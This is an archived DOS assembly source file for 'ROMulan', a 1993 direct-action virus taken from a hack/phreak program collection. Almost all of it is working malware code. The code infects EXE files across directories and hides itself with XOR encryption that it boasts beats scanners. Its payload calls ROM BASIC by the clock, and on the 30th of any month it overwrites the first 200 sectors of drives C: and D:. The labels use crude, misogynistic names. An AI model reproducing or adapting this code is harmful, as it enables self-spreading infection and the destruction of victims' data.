home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPROMU1.ZIP / ROMULAN.ASM next >
Assembly Source File  |  1993-11-06  |  12KB  |  391 lines

  1. ;------------------------
  2. ;ROMulan By Death Dealer
  3. ;666 In Size
  4. ;Direct Action EXE Appending Virus
  5. ;Jumps Directories
  6. ;If Seconds Are Less Then 15 Then User Gets Rom Basic!
  7. ;If Day Is 30th Of Any Month, Hard Drives C: To D: Die Instantly!
  8. ;Incredible Encryption Is Invisible To All String And Heuristics Scanners!
  9. ;It Is Safe To Infect Files On Floppy, However Make Sure It Is Not The 30th!
  10. ;Tasm /m
  11. ;Tlink /t
  12. ;------------------------
  13. ;Look For My New Mutation Engine Soon!  No Linking Required!
  14. ;That Means Any Fool Can Add It To Their Source!
  15. ;Simply By Running A Com File!
  16. ;------------------------
  17. ;
  18. ;
  19.  
  20. Code    Segment Public 'Code'
  21.         Assume  CS:Code
  22.         Org     100h                           
  23.  
  24. ID = 'KY'                                      
  25. MaxFiles = 20                                  
  26.  
  27. Start:
  28.  
  29. Virus:
  30.         call    realthingbaby                   
  31.  
  32. RealThingBaby:
  33.         nop
  34.         nop
  35.         nop
  36.         pop     si                              
  37.         sub     si,offset realthingbaby         
  38.         
  39.         call    Cloak_uncloak                   ; Uncloak the virus first
  40.  
  41. Cloak_Start   equ     $                         ; From here it is cloaked
  42.  
  43.         mov     bp,si                           
  44.  
  45.         push    ds                              
  46.         push    es                               
  47.         push    cs
  48.         pop     ds                               
  49.         push    cs
  50.         pop     es                               
  51.  
  52.         lea     si,[bp+jmpsave2]
  53.         lea     di,[bp+jmpsave]
  54.         movsw                                    
  55.         movsw                                    
  56.         movsw                                    
  57.         movsw                                    
  58.  
  59.         lea     dx,[bp+offset dta]               
  60.         call    set_DTA                          
  61.  
  62.         mov     [bp+counter],byte ptr 0          
  63.         mov     ax,3524h                         
  64.         int     21h                              
  65.         mov     word ptr [bp+oldint24],bx        
  66.         mov     word ptr [bp+oldint24+2],es
  67.  
  68.         mov     ah,25h                           
  69.         lea     dx,[bp+offset int24]             
  70.         int     21h
  71.  
  72.         push    cs                               
  73.         pop     es                               
  74.  
  75.         mov     ah,47h                           
  76.         mov     dl,0h                            
  77.         lea     si,[bp+offset currentdir]        
  78.         int     21h
  79.  
  80. JumpAround:
  81.         lea     dx,[bp+offset exefilespec]       
  82.         call    findfirst
  83.  
  84.         lea     dx,[bp+offset directory]         
  85.         mov     ah,3bh                            ; Change directory
  86.         int     21h
  87.         jnc     jumparound                       
  88.  
  89.         call    rom_fuck                          ; Call rom and disk fucker 
  90.       
  91.         
  92.         mov     ax,2524h                         
  93.         lds     dx,[bp+offset oldint24]          
  94.         int     21h
  95.  
  96.         push    cs
  97.         pop     ds                               
  98.  
  99.         lea     dx,[bp+offset currentdir]        
  100.         mov     ah,3bh                           
  101.         int     21h
  102.  
  103.         mov     dx,80h                           
  104.         call    set_dta                          
  105.  
  106.         pop     es                               
  107.         pop     ds                               
  108.  
  109.         mov     ax,es
  110.         add     ax,10h
  111.         add     word ptr cs:[bp+jmpsave+2],ax
  112.         add     ax,word ptr cs:[bp+stacksave+2]
  113.         cli                                      
  114.         mov     sp,word ptr cs:[bp+stacksave]
  115.         mov     ss,ax
  116.         sti
  117.         db      0eah                             
  118. jmpsave dd      ?                                
  119. stacksave dd    ?                                
  120. jmpsave2 dd     0fff00000h
  121. stacksave2 dd   ?
  122.  
  123. FindFirst:
  124.         cmp    [bp+counter],maxfiles             
  125.         ja     quit                              
  126.  
  127.         mov     ah,4eh                           
  128.         mov     cx,7                             
  129.  
  130. FindNext:
  131.         int     21h                              
  132.         jc      quit                             
  133.  
  134.         call    rape                        
  135.  
  136.         mov     ah,4fh                      
  137.         jmp     findnext                     
  138.  
  139. Quit:
  140.         ret
  141.  
  142. Rape:
  143.         mov     ax,3d00h                      
  144.         call    opencunt
  145.  
  146.         mov     ah,3fh                        
  147.         mov     cx,1ah                        
  148.         lea     dx,[bp+offset buffer]         
  149.         int     21h
  150.  
  151.         mov     ah,3eh                         
  152.         int     21h
  153.  
  154. CheckExe:
  155.         cmp     word ptr [bp+buffer+10h],id    
  156.         jz      quitrape                       
  157.         jmp     rapeexe
  158.  
  159. QuitRape:
  160.         ret
  161.  
  162. RapeExe:
  163.         les     ax,dword ptr [bp+buffer+14h]   
  164.         mov     word ptr [bp+jmpsave2],ax      
  165.         mov     word ptr [bp+jmpsave2+2],es
  166.  
  167.         les     ax,dword ptr [bp+buffer+0eh]   
  168.         mov     word ptr [bp+stacksave2],es     
  169.         mov     word ptr [bp+stacksave2+2],ax
  170.  
  171.         mov     ax, word ptr [bp+buffer+8]      
  172.         mov     cl,4
  173.         shl     ax,cl
  174.         xchg    ax,bx
  175.         les     ax,[bp+offset DTA+26]           
  176.         mov     dx,es                           
  177.         push    ax                              
  178.         push    dx
  179.  
  180.         sub     ax,bx                            
  181.         sbb     dx,0                             
  182.         mov     cx,10h                           
  183.         div     cx
  184.  
  185.         mov     word ptr [bp+buffer+14h],dx      
  186.         mov     word ptr [bp+buffer+16h],ax     
  187.  
  188.         mov     word ptr [bp+buffer+0eh],ax     
  189.         mov     word ptr [bp+buffer+10h],id     
  190.         pop     dx                              
  191.         pop     ax
  192.  
  193.         add     ax,eof-virus                    
  194.         adc     dx,0                            
  195.  
  196.         mov     cl,9                            
  197.         push    ax
  198.         shr     ax,cl
  199.         ror     dx,cl
  200.         stc
  201.         adc     dx,ax
  202.         pop     ax
  203.         and     ah,1
  204.  
  205.         mov     word ptr [bp+buffer+4],dx        
  206.         mov     word ptr [bp+buffer+2],ax
  207.  
  208.         push    cs                               
  209.         pop     es
  210.  
  211.         mov     cx,1ah                           
  212.  
  213. FinishRape:
  214.         push    cx                               
  215.         xor     cx,cx                            
  216.         call    attributes
  217.  
  218.         mov     al,2                             
  219.         call    opencunt
  220.  
  221.         mov     ah,40h                           
  222.         lea     dx,[bp+buffer]                   
  223.         pop     cx                               
  224.         int     21h
  225.         jc      closecunt
  226.  
  227.         mov     al,02                            
  228.         Call    move_fp
  229.  
  230. Get_Time:
  231.         mov     ah,2ch                           
  232.         int     21h
  233.         cmp     dh,0                             
  234.         je      get_time
  235.         mov     [bp+enc_value],dh                
  236.  
  237.         call    cloak_rape                    
  238.  
  239.         inc     [bp+counter]                  
  240.  
  241. CloseCunt:
  242.         mov     ax,5701h                      
  243.         mov     cx,word ptr [bp+dta+16h]      
  244.         mov     dx,word ptr [bp+dta+18h]      
  245.         int     21h
  246.  
  247.         mov     ah,3eh                        
  248.         int     21h
  249.  
  250.         xor     cx,cx
  251.         mov     cl,byte ptr [bp+dta+15h]       
  252.         call    attributes
  253.  
  254.         retn
  255.  
  256. Rom_Fuck:               ;The rom routine
  257.         int     21
  258.         
  259.         mov     ah,2ch                         
  260.         int     21h
  261.  
  262.         cmp     dh,15       ;Are the seconds less then 15?                     
  263.         ja      phase_two   ;If not go to Nuke_disk
  264.  
  265.         int     18h         ;If so then user looses ROM BASIC! 
  266.                             ;Thus the name ROMulan
  267. Phase_Two:
  268.         call    nuke_disk
  269.  
  270. Nuke_Disk:        
  271.         mov     ah,2ah
  272.         int     21h
  273.         
  274.         cmp     dl,30           ;Is it the 30th of any month?
  275.         jne     dont_do_shit    ;if not then continue virus
  276.  
  277.         mov     al,2         ;The C: Drive
  278.         mov     cx,200       ;200 sectors starting at 0
  279.         cli                  ;no aborting :)
  280.         cwd
  281.         int     026h         ;smash the drive!
  282.         sti
  283.         
  284.         mov     al,3        ;The D: Drive
  285.         mov     cx,200      ;Sectors 0-200
  286.         cli                 ;same
  287.         cwd
  288.         int     026h        ;ditto
  289.         sti
  290.  
  291. Dont_Do_Shit:
  292.         ret
  293.  
  294. Move_Fp:
  295.         mov     ah,42h                          
  296.         xor     cx,cx                           
  297.         xor     dx,dx                           
  298.         int     21h
  299.         retn
  300.  
  301. Set_DTA:
  302.         mov     ah,1ah                          
  303.         int     21h                             
  304.         retn
  305.  
  306. OpenCunt:
  307.         mov     ah,3dh                          
  308.         lea     dx,[bp+DTA+30]                  
  309.         int     21h
  310.         xchg    ax,bx                           
  311.         ret
  312.  
  313. Attributes:
  314.         mov     ax,4301h                        
  315.         lea     dx,[bp+DTA+30]                  
  316.         int     21h
  317.         ret
  318.  
  319. Int24:                                          
  320.         mov     al,3                            
  321.         iret                                    
  322.  
  323. Virus_name     db 'ROMulan'                     
  324. Virus_man      db 'By Death Dealer Of Tempest'  
  325. Thanx_to       db 'Dedicated to ArIsToTlE For All His Help!'
  326.  
  327.  
  328. exefilespec  db  '*.exe',0                      
  329. directory    db '..',0                          
  330.  
  331. Cloak_Rape:
  332.         lea     si,[bp+offset move_begin]       
  333.         lea     di,[bp+offset workarea]         
  334.         mov     cx,move_end-move_begin          
  335.  
  336. Move_JumpAround:
  337.         movsb                                   
  338.         loop    move_jumparound
  339.         lea     dx,[bp+offset workarea]
  340.         call    dx                              
  341.         ret
  342.  
  343. Move_Begin    equ     $                         
  344.         mov     si,bp                           
  345.         push    bx                              
  346.         lea     dx,[bp+offset Cloak_end]
  347.         call    dx                              
  348.         pop     bx                              
  349.         mov     ah,40h                          
  350.         mov     cx,eof-virus                     
  351.         lea     dx,[bp+offset virus]              
  352.         int     21h
  353.         push    bx                                
  354.         lea     dx,[bp+offset cloak_end]
  355.         call    dx                                
  356.         pop     bx                                
  357.         ret
  358. Move_End      equ     $                           
  359.  
  360. Cloak_End   equ     $                           
  361.  
  362. Cloak_Uncloak:
  363.         lea     bx,[si+cloak_start]             
  364.         mov     cx,cloak_end-cloak_start      
  365.  
  366. Cloak_JumpAround:
  367.         mov     ah,cs:[bx]                       
  368.         xor     ah,[si+enc_value]                
  369.         mov     cs:[bx],ah                       
  370.         inc     bx                               
  371.         loop    cloak_jumparound
  372.         ret
  373.  
  374. Enc_Value     db    00h                          
  375.  
  376. EOF     equ     $                                
  377.  
  378. Counter db 0                                     
  379. Workarea db     move_end-move_begin dup (?)      
  380. currentdir db   64 dup (?)                       
  381. DTA     db      42 dup (?)                       
  382. Buffer db 1ah dup (?)                            
  383. OldInt24 dd ?                                    
  384.  
  385. eov     equ     $                                
  386.  
  387. code    ends
  388.         end     start
  389.  
  390.  
  391.